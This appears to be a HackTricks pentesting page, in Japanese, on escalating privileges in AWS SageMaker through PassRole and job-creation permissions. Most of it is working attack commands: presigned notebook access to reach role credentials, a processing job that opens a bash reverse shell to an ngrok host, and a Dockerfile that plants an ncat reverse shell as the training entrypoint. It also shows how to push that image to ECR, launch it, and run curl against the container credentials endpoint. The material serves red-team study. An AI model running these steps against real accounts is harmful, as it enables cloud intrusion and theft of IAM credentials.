AWS - Sagemaker Privesc

Reading time: 7 minutes

AWS - Sagemaker Privesc

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAMロールを使用して、添付されたノートブックを作成し始めます:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

NotebookInstanceArn フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、create-presigned-notebook-instance-url API を使用して、ノートブックインスタンスが準備完了次第アクセスするための URL を生成できます。

bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

ブラウザでURLに移動し、右上の `Open JupyterLab` をクリックし、次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。

これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreatePresignedNotebookInstanceUrl

もしJupyter ノートブックがすでに実行中であり、sagemaker:ListNotebookInstancesを使用してそれらをリストできる場合(または他の方法で発見できる場合)、それらのためのURLを生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

潜在的な影響: 添付されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateProcessingJob,iam:PassRole

その権限を持つ攻撃者は、sagemakerに処理ジョブを実行させることができます。攻撃者は、AWS管理ECSアカウントインスタンスで実行されるコンテナの定義を指定し、添付されたIAMロールの資格情報を盗むことができます。

bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateTrainingJob, iam:PassRole

これらの権限を持つ攻撃者は、任意のコンテナを実行するトレーニングジョブを作成でき、そのジョブにロールを添付することができます。したがって、攻撃者はそのロールの資格情報を盗むことができます。

warning

このシナリオは、前のものよりも悪用が難しいです。なぜなら、リバースシェルや資格情報を攻撃者に直接送信するDockerイメージを生成する必要があるからです(トレーニングジョブの設定で開始コマンドを指定することはできません)。

# Dockerイメージを作成
mkdir /tmp/rev
## トレーニングジョブが「train」という実行可能ファイルを呼び出すことに注意してください
## だから、リバースシェルを/bin/trainに置いています
## <YOUR-IP-OR-DOMAIN>と<YOUR-PORT>の値を設定してください
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# ECRにアップロード
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
bash
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

その権限を持つ攻撃者は(潜在的に)ハイパーパラメータトレーニングジョブを作成し、任意のコンテナをそれにロールを付けて実行できる可能性があります。
時間がなかったため、私はこの脆弱性を悪用していませんが、以前の悪用と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする